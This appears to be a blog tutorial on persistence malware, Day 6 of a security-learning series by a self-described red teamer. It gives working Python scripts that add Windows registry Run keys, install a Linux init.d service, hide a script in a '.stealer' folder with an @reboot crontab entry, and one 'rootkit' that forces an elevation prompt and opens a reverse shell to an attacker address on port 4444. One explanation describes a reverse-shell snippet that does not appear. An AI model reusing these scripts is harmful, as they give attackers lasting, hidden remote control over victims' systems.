Author

Khal4n1

10-Days of learning – Day 6 - Persistence Malware

 

Persistence Malware:

Persistence malware is a type of malware that attempts to remain undetected on a target system after initial execution and it’s designed to ensure that the malware can persist and continue to execute even after the initial infection is removed, this means the first attack vector like the main payload.

Persistence malware can be implemented in various ways, such as:
  • Adding itself to the system’s startup programs or services.
  • Modifying system configurations to ensure that the malware starts automatically when the system boots up.
  • Installing itself as a kernel-level rootkit to gain unauthorized access to the system.
  • Encrypting files or data on the system to prevent access by the user.
  • Installing backdoors or remote access tools to allow unauthorized access to the system.

Why it’s dangerous:

Persistence malware is a serious threat because it can hide on a system for long periods without being detected. Once it's in, the malware can carry out various harmful activities like stealing sensitive data, encrypting files, changing system settings, or launching more attacks.
The danger of persistence malware lies in its ability to stick around even after the initial infection is dealt with. It's tough to get rid of entirely, which is why it's crucial to understand and protect against it.

Examples:

  • Fileless Malware: This type doesn't rely on actual files on the system. Instead, it changes system settings or registry keys to make sure it runs automatically whenever the system boots up.
  • Rootkit: This are tricky scripts designed to get unauthorized access to a system. They can do this in different ways, like changing system files or installing themselves as part of the core system software, this also helps to hide themselves. This types of malicious programs are often used to persist within the system.
  • Backdoor: As we defined on the previous sessions, backdoor is a way for unauthorized users to get into a system. It can be achieved by created by installing a program that allows remote access or control. Backdoors, like the previous one, are used to maintain access and can also be used to launch more attacks.
Here are a couple of simple scripts that show how persistence malware can be written in Python:

Fileless Malware for Windows:

import os
import sys
import winreg

def create_startup_registry_key():
  # Open the Startup key in the registry
  key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE)
  # Set the value of the registry key to the malware's path
  winreg.SetValueEx(key, 'Malware', 0, winreg.REG_SZ, os.path.abspath(sys.argv[0]))
  # Close the registry key
  winreg.CloseKey(key)

def malware_payload():
  # Malware payload
  print("Malware executed successfully!")

# Check if the script is being run directly (not imported)
if __name__ == '__main__':
  # Create a startup registry key
  create_startup_registry_key()
  # Execute the malware payload
  malware_payload()
Script executed
Registry key added

In this script, we import the os, socket, and subprocess modules. The script defines a function reverse_shell() that does the following:

  • Creates a socket object s and connects it to the attacker’s IP address (here, “192.168.1.10”) on port 4444.
  • The os.dup2() function is used to redirect the standard input, output, and error streams to the socket connection. This means that the attacker can now send commands to the target system, and the results will be returned through the same socket.
  • The subprocess.call() function is used to start a new shell (/bin/sh -i), which allows the attacker to interact with the target system via a command-line interface.

When reverse_shell() is called, the target machine connects back to the attacker, and the attacker can execute shell commands remotely.

Rootkit for Windows:

import os
import sys
import winreg
import ctypes
import socket
import subprocess

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def install_registry_key():
    key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
    winreg.SetValueEx(key, "Rootkit", 0, winreg.REG_SZ, sys.executable)
    winreg.CloseKey(key)

def reverse_shell(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    while True:
        command = s.recv(1024).decode()
        if command.lower() == "exit":
            break
        output = subprocess.run(command, shell=True, capture_output=True)
        s.send(output.stdout + output.stderr)
    s.close()

def main():
    if not is_admin():
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        return

    install_registry_key()

    host = "192.168.0.8"  # Replace with the attacker's IP address
    port = 4444  # Replace with the attacker's listening port
    reverse_shell(host, port)

if __name__ == "__main__":
    main()

This rootkit does the following:

  1. Checks if the script is being run with administrator privileges using ctypes.windll.shell32.IsUserAnAdmin().
  2. If not, it re-launches the script with administrator privileges using ctypes.windll.shell32.ShellExecuteW().
  3. Installs a registry key under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run named "Rootkit" with the value of the script's executable path.
  4. Defines a reverse_shell() function that establishes a reverse shell connection to the specified host and port.
  5. In the main() function, the script connects to the attacker's reverse shell, allowing the attacker to issue commands and receive their output.

Please note that this is a basic rootkit and should be used for educational purposes only. It's important to be aware of the potential risks and ethical implications associated with creating rootkits.

Remember, you should thoroughly test and review the rootkit before using it on any system. Always obtain proper authorization and adhere to applicable laws and regulations.

This combination of reverse_shell() and main() allows the attacker to not only open a reverse shell but also interactively issue commands and receive their output, effectively controlling the target system remotely.

Script executed

UAC Control Permission

Checking the session details from the details from the Reverse Connection

Registry key added successfully


Fileless Malware for Linux

import os 
import sys

def create_startup_script_linux():
# Create a startup script
startup_script = """
#!/bin/bash
python {0}
"""
.format(os.path.abspath(sys.argv[0]))
# Write the startup script to a file
with open("/etc/init.d/malware", "w") as script_file:
script_file.write(startup_script)

# Make the script executable
os.chmod("/etc/init.d/malware", 0o755)
# Add the script to the startup services
os.system("update-rc.d malware defaults")

def malware_payload_linux():
# Malware payload
print("Malware executed successfully!")
# Create a startup script
create_startup_script_linux()

# Execute the malware payload
malware_payload_linux()

This script creates a startup script that will execute the malware payload whenever the system starts up. It does this by writing a bash script to /etc/init.d/malware and setting the appropriate permissions. The script then adds the startup script to the system’s startup services using update-rc.d.

Script executed successfully

Malware service is created

The malware payload is a simple print statement that indicates that the malware has been successfully executed.

Rootkit for Linux

import os
import sys
import subprocess

def install_rootkit():
    # Get the user's home directory
    home_dir = os.path.expanduser("~")
    
    # Create a hidden directory
    hidden_dir = os.path.join(home_dir, ".stealer")
    os.makedirs(hidden_dir, exist_ok=True)
    
    # Move the script into the hidden directory
    script_path = os.path.abspath(sys.argv[0])
    hidden_script_path = os.path.join(hidden_dir, os.path.basename(script_path))
    os.rename(script_path, hidden_script_path)
    
    # Create a startup script
    startup_script_path = os.path.join(hidden_dir, "startup.sh")
    with open(startup_script_path, "w") as file:
        file.write("#!/bin/bash\n")
        file.write(f"{hidden_script_path} &\n")
    
    # Make the startup script executable
    os.chmod(startup_script_path, 0o700)
    
    # Add the startup script to the user's crontab
    crontab_command = f"crontab -l | {{ cat; echo '@reboot {startup_script_path}'; }} | crontab -"
    subprocess.call(["bash", "-c", crontab_command])

# Install the rootkit
install_rootkit() 

The rootkit example demonstrates how a malicious script can maintain its presence on a Linux system. In this script it uses a function that relocates itself to a hidden folder within the user's home directory and generates a startup script, which is then added to the user's crontab to execute during system startup.

The core operation takes place in the install_rootkit() function. Initially, it obtains the user's home directory using os.path.expanduser("~"). Following that, it creates a concealed directory named .stealer within the user's home directory via os.makedirs(). The script itself is then moved to this hidden directory using os.rename().

Subsequently, a startup script titled startup.sh is created inside the hidden directory. This script is designed to launch the rootkit during system startup. It specifies the location of the hidden script and runs it in the background using &. The permissions of the startup script are set to be executable by the owner only via os.chmod().

Finally, the script incorporates the startup script into the user's crontab with the crontab command, ensuring that the script will automatically run each time the system starts up.


Cron job created

To demonstrate that the rootkit has worked, you can check the contents of the crontab file to see if the startup script has been added correctly. You can also check the .stealer directory in the user's home directory to see if the rootkit script and startup script are present. If the rootkit script is running at system startup, you should see a process for the script in the output of the ps command.

Please note that this script is a basic example and may not cover all the necessary security measures for a production-ready rootkit. It is intended for educational purposes and should be used with caution.

Please note that these scripts are for educational purposes and should not be used for malicious activities. Proper security measures should be implemented to protect against persistence malware.


Author
Khal4n1
Security Researcher & Red Teamer